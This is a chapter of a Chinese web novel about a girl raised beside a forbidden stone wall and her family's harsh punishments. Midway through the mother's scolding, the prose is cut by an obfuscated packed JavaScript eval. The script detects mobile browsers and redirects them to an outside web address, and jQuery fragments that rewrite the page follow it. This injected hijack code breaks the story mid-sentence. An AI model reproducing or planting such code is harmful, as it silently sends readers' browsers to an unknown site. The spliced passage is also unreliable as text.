村口那棵老槐树,时隔一个寒暑，终于在四月末开了花。
枝头盛放的春远看去像是一片白云，缀在天际边。
树下是一整垛用石头堆砌而成的高墙，密不透风的墙与树枝一同连亘着苍穹，将天也拢住，村中的一切与外界隔绝开了，反倒生出几分格格不入来。
来椿家住在村口，她自小就是在老槐树边长大的，同龄的玩伴大多不爱和她玩，因此她总爱坐在门前，对着老槐树发呆。
那堵石墙自来椿有记忆起，便矗立在那里。
十几年风雨不动地守在村口，如今她已经十四岁了，石墙却依旧比她高出好多。
小时候不懂事的时候，来椿还是有那么几个朋友的。
玩伴们胆子比她要大些，大概是从小都住在离石墙更远一些的地方，是以他们的父母并不会像来椿的父母那样，对她耳提面命，不要走到石墙边去。
几个男孩子围成一团，稍微年长一点的那个搓了搓手，兴致勃勃地说：“看我的，我定能爬过去！”
来椿就在旁边偷偷看着，从一群和她一般大的孩童后面踮着脚。她的眼中带着几分羡慕，从来都是活在父母说教之中的来椿向来羡慕那些敢说敢做的人，可身后就是来椿的家，她随时都可能被探出头来的父母发现这不合规矩的眼神。
来椿向后看了看。
这个时候，母亲和阿姐应当都在没日没夜地赶工，而父亲早上就出去了，眼看着不到日落是不会回来，若是看一眼，只看那么一眼……
她咬了咬牙，又往前走了几步，挤在同龄的孩子们的身后，试图让自己融入那些大胆的人群中。
忽然，热闹的喊闹后传来一声暴喝：“小兔崽子们，反了天了！”
来椿的步子当即被男人的声音拖住，她下意识地抖了一下，身上那些挨过打的地方也隐隐作疼起来。
前面那些还打算着翻越高墙的小孩们登时作鸟兽散，一股脑地低着头，统统往自己的家里跑去。来椿也想跑，那双大手来得却比她的反应更快，一把抓住了来椿短衫的衣领。
父亲生得严肃，在这样一个小小的村落中，家家户户都觉得他是那个不好相处的，否则也不会让他家独自住在村口。
如今，来椿的父亲乍然动了怒，也不怪那些本就害怕他的小孩抛下来椿，四下逃散了。
父亲拧着来椿的耳朵，一直走到家门口也没有松开，几乎是靠着这样的姿势将她拖回了家中，丝毫不顾忌来椿生疼的耳朵。
来椿一路都在求饶道：“父亲！我错了，饶过我这次吧！”
父亲推开家门时，母亲正坐在堂屋里绣花，见着来椿被父亲狼狈地扔进来，一时间心中有些不落忍，放下手中的针线，心疼道：“孩子还小，你这是做什么？”
父亲冷哼一声，连眉梢也冷下来，对来椿说：“做什么，你自己说，为什么要到石墙边去！”
母亲听见“石墙”二字，原本停下的手重新动作了起来，甚至连眼中的疼惜也褪去了。她冷淡道：“日日同你讲，不要去石墙边，就是不听！合该让你爹好好打你一顿！”
来椿摸着自己发红发烫的耳朵，神情低落下去。
不要离开村子，不要走到石墙外面去，否则便再也回不来了。
这句话像是诅咒的烟雾，笼罩在村子上空，数十年历久不散。
村中人也将之奉为圭臬，从不敢越雷池半步。
从小生长在这种环境之下的来椿同样被困在这条铁令之下，即便石墙的缺口离她家只有几丈，走出去的那一步也犹如天堑。
白日里便有大人轮番在缺口处守候着，夜晚的石墙更是像一头会吃人的怪物，缺口便是它进食的喉舌。村里的孩子们自小就害怕石墙，长大了之后，便成为石墙的守卫，如此循环往复，告诫着村民：不要离开村子。
一传十，十传百。
一句话听得多了，自然不会再有人怀疑话里的真假，更何况这是几代人传下来的规矩。
来椿见母亲也没有为她说话的意思，心里忐忑起来。
她揉了揉自己的耳朵，目光偷偷看向窗外，天已经阴了下来，想必石墙上的缺口已经快要变成夜里吃人的怪物了。
恐惧又悄悄浮上来椿的心头，她忽然有些后怕，甚至于痛恨自己刚才的大胆。
怎么能听见别人说要看看村子外面的世界，就丝毫想不起父亲母亲平日的教导呢？
那个缺口是孕育罪业的土壤，她不该去看，不该去想，只消一如既往地待在村子里就好。
离开村子，就意味着要离开父亲母亲，离开最亲爱的阿姐，甚至于随时可能会死掉，比起困顿在村中的感受而言，显然是石墙带给来椿的恐惧要占上风。
其实在一开始，来椿听见父亲说石墙会吃人时，也曾傻傻地仰着头，不解地问：“既然外面这样危险，那为什么没人把石墙堵上呢？只要没了那处缺口，便再也不会有人受到蛊惑，走出村子了。”
当时的父亲和母亲是怎样回答的？
来椿的视线转回了低头绣花的母亲的身上，声音隔着岁月洪流，落在她耳朵里。
“傻孩子，你还小，忘了这些事吧，等你长大了便明白了。”
而父亲一如今日，只是沉默地背过身去。他什么也不说，像是无言的群山，每当他想藏起心里话时，都会这样转身，留给来椿一道沉默的背影。
-
当晚，来椿大梦一场。
“阿姐！”
梦中的来椿还有阿姐呵护，阿姐虽说只大自己一岁，却早慧沉稳得多，总是坐在来椿身边，和母亲一样绣着什么。
来椿在梦中仔细去看，她手中正用小巧的原型竹篾绷着一条绣帕，捏着金线，在上好的布料上来回穿着。
阿姐的手像是大人们口中说的“羊脂白玉”，摸上去细腻柔软，丝毫不像是他们这样的人家会有的手。
那天的阿姐似乎藏着什么心事，绣花时垂着头，思绪藏在浓密的眼睫之后。或许是走神让她心绪不宁，针尖在她思绪短暂飘移的片刻扎进了她的血肉，等她回过神来，看向手中的绣帕时，上好的丝绸料子已然沾上了指尖血，白璧微瑕，怕是伤了颜色了。
母亲原本在一旁做工，看见阿姐一时大意，给绣帕沾了不该沾染的颜色，一时间心疼得快步走过来。她一把将阿姐拽开，粗糙的手指摩挲着阿姐的胳膊，阿姐瞬间痛呼出声。
母亲高声道：“臭丫头，喊什么呢！这样好的料子，竟活生生被你糟蹋了！”
她的指腹小心翼翼地从那滴浸入绸线的血色上抹过，发现已经擦不掉了，只好将愤怒发泄在罪魁祸首身上：“败家的东西！
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203506|181260||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如今染了色，贵人如何看得上！”
来椿不知道那料子究竟有多金贵，只是染了血色，便要被母亲这般责骂。
阿姐的头依旧低着，嘴唇微微颤抖，想辩解什么，却又无从启齿。来椿比阿姐要矮一些，是以能极清楚地看见阿姐眼中的泪水，星星一样闪着光，要往地下坠去。
她想安慰阿姐几句，母亲却毫不心软，目光在家徒四壁的屋内逡巡一圈，最后落在了门边的竹条上，“哭哭哭，就知道哭！坏了贵人的事，难道还指望我为你徇私不成！”
阿姐连连摇头，下意识地将自己的手臂藏进身后去，泪水爬了她满脸，可阿姐不敢啜泣，只能低声恳求道：“不是的母亲，不是的，我错了，我错了。”
母亲半点没有要放过她的样子，竹条划破风的声音那样明显，来椿整个人缩在桌边，看着阿姐被抽得几乎要在地上打滚的样子，心中惴惴不安。
好在母亲发泄之后，便拿上被阿姐绣坏的帕子，气呼呼地走了，来椿这才松了口气，上前来道阿姐身边。
阿姐的手臂上、身上，净是被母亲抽打出来的伤痕，来椿轻轻抓住阿姐的袖子，生怕这一点点的力道都会让阿姐更痛几分。
她想说些什么，可阿姐只是摇了摇头，然后轻轻地拂开来椿的手，将粗布衣裳的袖子拉下来一些，堪堪遮住显眼处的鞭痕。
阿姐低下头，依旧温柔地冲着来椿笑道：“椿儿乖，阿姐不疼的。”
阿姐一向是温柔的，来椿抱着阿姐的腿，看着阿姐的笑，觉得日子就这样过下去也不坏，苦是苦了些，可好歹一家人都在一起，谁也不和谁分开。
待阿姐擦干了眼泪，便在门边伫足观望了一阵。母亲的背影消失在村落的那头，大约一时半刻是回不来的。她终于放松了一直僵硬着的脊背，神色也自在了些。
“母亲去别家换料子了，万幸，这顿打也不算白挨。”
来椿瞬间会了意，嘴角扬起一抹狡黠的笑来。她学着阿姐的模样看了看门口，已经看不见母亲的身影了，这才爬上床塌，在缝隙中摸索了一阵后，抽出了一本被布裹得严严实实的书。
那书已经很旧了，纸页上泛着黄，连走线的书缝都已经被反复摩挲而生出了毛边，上头的字密密麻麻的，几乎是将能利用的空白处都填满了字。来椿一个字也看不懂，拿在手里，只是怜惜般试着将封皮上翘起的边抚平了，才交到阿姐手里。
她狡黠地眨了眨眼：“阿姐就是想寻个机会看看书吧？放心，我去门口帮你放风，母亲若是回来了，我便打个喷嚏，保管她抓不着你！”
阿姐笑着刮了刮来椿的鼻尖：“属你机灵。”
来椿还是贪玩的年纪，阿姐有时候想教她识些字，她也总是找借口推诿，总觉得在榻上一坐一整天无聊极了。只是阿姐想要念书的时候，来椿从来不像村子里的其他人那样冷嘲热讽，在她心中，但凡能念书，就一定是要比别人聪明许多的。
不过来椿也想：只要父亲母亲在，阿姐也在，那她笨一点，又有什么不好呢？
门槛上有些灰，来椿伸手拍了拍，随后就着天光，一起坐在了家门前。
远处是一碧如洗的天，云飘得很低、很低，她静静地听着，门外是东家长西家短的闲话，屋内是阿姐轻轻慢慢的翻书声，都是来椿记忆中的，最好的时光。